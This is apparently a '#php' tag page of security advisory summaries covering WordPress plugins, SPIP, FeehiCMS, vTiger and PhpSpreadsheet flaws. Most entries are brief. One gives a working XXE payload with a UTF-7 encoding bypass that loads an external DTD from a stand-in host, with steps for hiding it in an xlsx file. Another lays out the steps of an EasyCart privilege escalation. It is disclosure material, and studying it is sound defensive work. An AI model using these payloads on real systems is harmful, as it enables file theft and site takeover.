#php

The WordPress WP EasyCart plugin from version 1.1.30 to 3.0.20 allows authenticated users of any user level to set any system option via a lack of validation in the ec_ajax_update_option and ec_ajax_clear_all_taxrates functions located in /inc/admin/admin_ajax_functions.php. The module first changes the admin e-mail address to prevent any notifications being sent to the actual administrator during the attack, re-enables user registration in case it has been disabled and sets the default role to be administrator. This will allow for the user to create a new account with admin privileges via the default registration page found at /wp-login.php?action=register.

Water Billing Management System version 1.0 suffers from a cross site request forgery that enables an arbitrary file upload.

SPIP version 4.2.6 suffers from a code execution vulnerability.

WordPress GetYourGuide Ticketing plugin version 1.0.6 suffers from a cross site scripting vulnerability.

WordPress SeatReg plugin version 1.54.0 suffers from an open redirection vulnerability.

### Summary Bypassing the filter allows a XXE-attack. Which is turn allows attacker to obtain contents of local files, even if error reporting muted by @ symbol. (LFI-attack) ### Details Check ` $pattern = '/encoding="(.*?)"/';` easy to bypass. Just use a single quote symbol `'`. So payload looks like this: ``` <?xml version="1.0" encoding='UTF-7' standalone="yes"?> +ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM "http://example.com/file.dtd"> %xxe;]> ``` If you add this header to any XML file into xlsx-formatted file, such as sharedStrings.xml file, then xxe will execute. ### PoC 1) Create simple xlsx file 2) Rename xlsx to zip 3) Go to the zip and open the `xl/sharedStrings.xml` file in edit mode. 4) Replace `<?xml version="1.0" encoding="UTF-8" standalone="yes"?>` to ``` <?xml version="1.0" encoding='UTF-7' standalone="yes"?> +ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM "http://%webhook%/file.dtd"> %xxe;]> ``` 5) Save `sharedStrings.xml` file and rename zip back to xlsx. 6) Use mi...

### Summary `\PhpOffice\PhpSpreadsheet\Writer\Html` doesn't sanitize spreadsheet styling information such as font names, allowing an attacker to inject arbitrary JavaScript on the page. ### PoC Example target script: ``` <?php require 'vendor/autoload.php'; $reader = \PhpOffice\PhpSpreadsheet\IOFactory::createReader("Xlsx"); $spreadsheet = $reader->load(__DIR__ . '/book.xlsx'); $writer = new \PhpOffice\PhpSpreadsheet\Writer\Html($spreadsheet); print($writer->generateHTMLAll()); ``` Save this file in the same directory: [book.xlsx](https://github.com/PHPOffice/PhpSpreadsheet/files/15212797/book.xlsx) Open index.php in a web browser. An alert should be displayed. ### Impact Full takeover of the session of users viewing spreadsheet files as HTML.

A vulnerability was found in FeehiCMS up to 2.1.1 and classified as critical. This issue affects the function insert of the file /admin/index.php?r=user%2Fcreate. The manipulation of the argument User[avatar] leads to unrestricted upload. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.

The GiveWP Donation plugin and Fundraising Platform plugin for WordPress in all versions up to and including 3.14.1 is vulnerable to a PHP object injection (POI) flaw granting an unauthenticated attacker arbitrary code execution.

vTiger CRM version 7.4.0 suffers from multiple reflective cross site scripting vulnerabilities.